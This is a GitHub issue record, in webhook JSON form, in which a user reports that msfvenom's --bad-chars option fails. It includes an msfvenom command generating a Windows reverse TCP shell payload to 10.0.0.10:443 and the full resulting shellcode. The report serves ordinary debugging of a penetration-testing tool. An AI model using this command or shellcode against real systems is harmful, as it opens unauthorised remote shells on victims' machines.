{"action":"opened","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5677","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5677/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5677/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5677/events","html_url":"https://github.com/rapid7/metasploit-framework/issues/5677","id":93549961,"number":5677,"title":"msfvenom -b or --bad-chars option not working","user":{"login":"LaurentLF","id":13220335,"avatar_url":"https://avatars.githubusercontent.com/u/13220335?v=3","gravatar_id":"","url":"https://api.github.com/users/LaurentLF","html_url":"https://github.com/LaurentLF","followers_url":"https://api.github.com/users/LaurentLF/followers","following_url":"https://api.github.com/users/LaurentLF/following{/other_user}","gists_url":"https://api.github.com/users/LaurentLF/gists{/gist_id}","starred_url":"https://api.github.com/users/LaurentLF/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/LaurentLF/subscriptions","organizations_url":"https://api.github.com/users/LaurentLF/orgs","repos_url":"https://api.github.com/users/LaurentLF/repos","events_url":"https://api.github.com/users/LaurentLF/events{/privacy}","received_events_url":"https://api.github.com/users/LaurentLF/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":0,"created_at":"2015-07-07T14:55:28Z","updated_at":"2015-07-07T14:55:28Z","closed_at":null,"body":"Hello,\r\n\r\nOn Kali Linux (up to date), I have issue with msfvenom not removing unwanted chars, even with latest metasploit packages (metasploit v4.11.3-2015063001).\r\n\r\nLooks like msfvenom doesn't take the --bad-chars option :\r\n\r\nlaurent@Kali:~$ msfvenom --payload windows/shell_reverse_tcp lhost=10.0.0.10 lport=443 ‐-bad-chars '\\x00\\x0a\\x0d' -f python\r\nNo platform was selected, choosing Msf::Module::Platform::Windows from the payload\r\nNo Arch selected, selecting Arch: x86 from the payload\r\n<b>No encoder or badchars specified</b>, outputting raw payload\r\nPayload size: 324 bytes\r\nbuf =  \"\"\r\nbuf += \"\\xfc\\xe8\\x82<b>\\x00\\x00\\x00</b>\\x60\\x89\\xe5\\x31\\xc0\\x64\\x8b\"\r\nbuf += \"\\x50\\x30\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\"\r\nbuf += \"\\x4a\\x26\\x31\\xff\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\"\r\nbuf += \"<b>\\x0d</b>\\x01\\xc7\\xe2\\xf2\\x52\\x57\\x8b\\x52\\x10\\x8b\\x4a\\x3c\"\r\nbuf += \"\\x8b\\x4c\\x11\\x78\\xe3\\x48\\x01\\xd1\\x51\\x8b\\x59\\x20\\x01\"\r\nbuf += \"\\xd3\\x8b\\x49\\x18\\xe3\\x3a\\x49\\x8b\\x34\\x8b\\x01\\xd6\\x31\"\r\nbuf += \"\\xff\\xac\\xc1\\xcf<b>\\x0d</b>\\x01\\xc7\\x38\\xe0\\x75\\xf6\\x03\\x7d\"\r\nbuf += \"\\xf8\\x3b\\x7d\\x24\\x75\\xe4\\x58\\x8b\\x58\\x24\\x01\\xd3\\x66\"\r\nbuf += \"\\x8b\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\\x04\\x8b\\x01\\xd0\"\r\nbuf += \"\\x89\\x44\\x24\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\\xe0\\x5f\"\r\nbuf += \"\\x5f\\x5a\\x8b\\x12\\xeb\\x8d\\x5d\\x68\\x33\\x32<b>\\x00\\x00</b>\\x68\"\r\nbuf += \"\\x77\\x73\\x32\\x5f\\x54\\x68\\x4c\\x77\\x26\\x07\\xff\\xd5\\xb8\"\r\nbuf += \"\\x90\\x01<b>\\x00\\x00</b>\\x29\\xc4\\x54\\x50\\x68\\x29\\x80\\x6b<b>\\x00</b>\"\r\nbuf += \"\\xff\\xd5\\x50\\x50\\x50\\x50\\x40\\x50\\x40\\x50\\x68\\xea\\x0f\"\r\nbuf += \"\\xdf\\xe0\\xff\\xd5\\x97\\x6a\\x05\\x68<b>\\x0a\\x00\\x00\\x0a</b>\\x68\"\r\nbuf += \"\\x02<b>\\x00</b>\\x01\\xbb\\x89\\xe6\\x6a\\x10\\x56\\x57\\x68\\x99\\xa5\"\r\nbuf += \"\\x74\\x61\\xff\\xd5\\x85\\xc0\\x74\\x0c\\xff\\x4e\\x08\\x75\\xec\"\r\nbuf += \"\\x68\\xf0\\xb5\\xa2\\x56\\xff\\xd5\\x68\\x63\\x6d\\x64<b>\\x00</b>\\x89\"\r\nbuf += \"\\xe3\\x57\\x57\\x57\\x31\\xf6\\x6a\\x12\\x59\\x56\\xe2\\xfd\\x66\"\r\nbuf += \"\\xc7\\x44\\x24\\x3c\\x01\\x01\\x8d\\x44\\x24\\x10\\xc6<b>\\x00</b>\\x44\"\r\nbuf += \"\\x54\\x50\\x56\\x56\\x56\\x46\\x56\\x4e\\x56\\x56\\x53\\x56\\x68\"\r\nbuf += \"\\x79\\xcc\\x3f\\x86\\xff\\xd5\\x89\\xe0\\x4e\\x56\\x46\\xff\\x30\"\r\nbuf += \"\\x68\\x08\\x87\\x1d\\x60\\xff\\xd5\\xbb\\xf0\\xb5\\xa2\\x56\\x68\"\r\nbuf += \"\\xa6\\x95\\xbd\\x9d\\xff\\xd5\\x3c\\x06\\x7c<b>\\x0a</b>\\x80\\xfb\\xe0\"\r\nbuf += \"\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a<b>\\x00</b>\\x53\\xff\\xd5\"\r\n\r\nI know there was same kind of issue fixed in #3769, so wondering why I get this."}}